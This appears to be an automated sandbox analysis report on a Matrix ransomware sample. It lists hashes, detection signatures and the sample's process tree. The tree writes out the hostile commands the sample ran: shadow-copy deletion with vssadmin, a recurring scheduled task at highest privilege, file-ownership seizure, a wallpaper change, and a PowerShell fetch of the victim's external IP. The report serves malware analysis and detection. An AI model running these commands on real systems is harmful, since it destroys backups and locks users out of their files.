Overview

overview

10

Static

static

FoxRansomw...65.exe

windows7_x64

10

FoxRansomw...65.exe

windows10-2004_x64

10

FoxRansomw...a7.exe

windows7_x64

10

FoxRansomw...a7.exe

windows10-2004_x64

10

FoxRansomw...20.exe

windows7_x64

10

FoxRansomw...20.exe

windows10-2004_x64

10

FoxRansomw...0b.exe

windows7_x64

10

FoxRansomw...0b.exe

windows10-2004_x64

10

FoxRansomw...53.exe

windows7_x64

10

FoxRansomw...53.exe

windows10-2004_x64

10

FoxRansomw...b1.exe

windows7_x64

10

FoxRansomw...b1.exe

windows10-2004_x64

10

Analysis

  • max time kernel
    153s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    01-02-2022 08:39

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Report Analysis Logs

General

  • Target

    FoxRansomware/91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe

  • Size

    1.2MB

  • MD5

    1fa1b6d4b3ed867c1d4baffc77417611

  • SHA1

    afb5e385f9cc8910d7a970b6c32b8d79295579da

  • SHA256

    91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53

  • SHA512

    0600b92914a7489a6428b8e4217e5f24e1d149fc5807d86cc4de91b43be2470a1ddf77093c8732d4371a87fd163cc556e09d11a2c6655382a35a5f5741ae05a5

Score
10/10
matrixdiscoverypersistenceransomwarespywarestealersuricataupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://myexternalip.com/raw

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity

    suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity

    suricata
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Sets service image path in registry 2 TTPs
    persistence
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops desktop.ini file(s) 9 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe
    "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe"
    1⤵
    • Matrix Ransomware
    • Loads dropped DLL
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:1556
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\91d07adbf35edb6bb96e7b210f17b9b868ed858802727d6f69c1e5a2d37a9c53.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWZ4WsBg.exe"
      2⤵
        PID:1288
      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWZ4WsBg.exe
        "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWZ4WsBg.exe" -n
        2⤵
        • Executes dropped EXE
        PID:1872
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\CSOr02cr.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1832
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1152
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\TKtrPBPd.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1812
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\TKtrPBPd.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          PID:1760
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
            PID:1692
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
              PID:1352
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\UtZpX375.vbs"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:272
            • C:\Windows\SysWOW64\wscript.exe
              wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\UtZpX375.vbs"
              3⤵
                PID:2020
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\KNFy0Y7J.bat" /sc minute /mo 5 /RL HIGHEST /F
                  4⤵
                    PID:384
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\KNFy0Y7J.bat" /sc minute /mo 5 /RL HIGHEST /F
                      5⤵
                      • Creates scheduled task(s)
                      PID:1936
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
                    4⤵
                      PID:1304
                      • C:\Windows\SysWOW64\schtasks.exe
                        schtasks /Run /I /tn DSHCA
                        5⤵
                          PID:912
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\U76aN7yS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf""
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1752
                    • C:\Windows\SysWOW64\attrib.exe
                      attrib -R -A -S "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf"
                      3⤵
                      • Views/modifies file attributes
                      PID:1776
                    • C:\Windows\SysWOW64\cacls.exe
                      cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf" /E /G Admin:F /C
                      3⤵
                        PID:1312
                      • C:\Windows\SysWOW64\takeown.exe
                        takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\ENUtxt.pdf"
                        3⤵
                        • Modifies file permissions
                        PID:1052
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c cLmYZMHR.exe -accepteula "ENUtxt.pdf" -nobanner
                        3⤵
                        • Loads dropped DLL
                        • Suspicious use of WriteProcessMemory
                        PID:864
                        • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\cLmYZMHR.exe
                          cLmYZMHR.exe -accepteula "ENUtxt.pdf" -nobanner
                          4⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:1660
                          • C:\Users\Admin\AppData\Local\Temp\cLmYZMHR64.exe
                            cLmYZMHR.exe -accepteula "ENUtxt.pdf" -nobanner
                            5⤵
                            • Drops file in Drivers directory
                            • Executes dropped EXE
                            • Enumerates connected drives
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious behavior: LoadsDriver
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1600
                  • C:\Windows\system32\taskeng.exe
                    taskeng.exe {BB920A96-009C-4ED2-B958-B5AD4E1F91E6} S-1-5-21-2329389628-4064185017-3901522362-1000:QSKGHMYQ\Admin:Interactive:[1]
                    1⤵
                      PID:1548
                      • C:\Windows\SYSTEM32\cmd.exe
                        C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\KNFy0Y7J.bat"
                        2⤵
                          PID:1648
                          • C:\Windows\system32\vssadmin.exe
                            vssadmin Delete Shadows /All /Quiet
                            3⤵
                            • Interacts with shadow copies
                            PID:280
                      • C:\Windows\system32\vssvc.exe
                        C:\Windows\system32\vssvc.exe
                        1⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1720

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

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                      Downloads

                      • memory/1152-62-0x0000000002570000-0x00000000031BA000-memory.dmp

                        Filesize

                        12.3MB

                        Download

                      • memory/1556-55-0x00000000756C1000-0x00000000756C3000-memory.dmp

                        Filesize

                        8KB

                        Download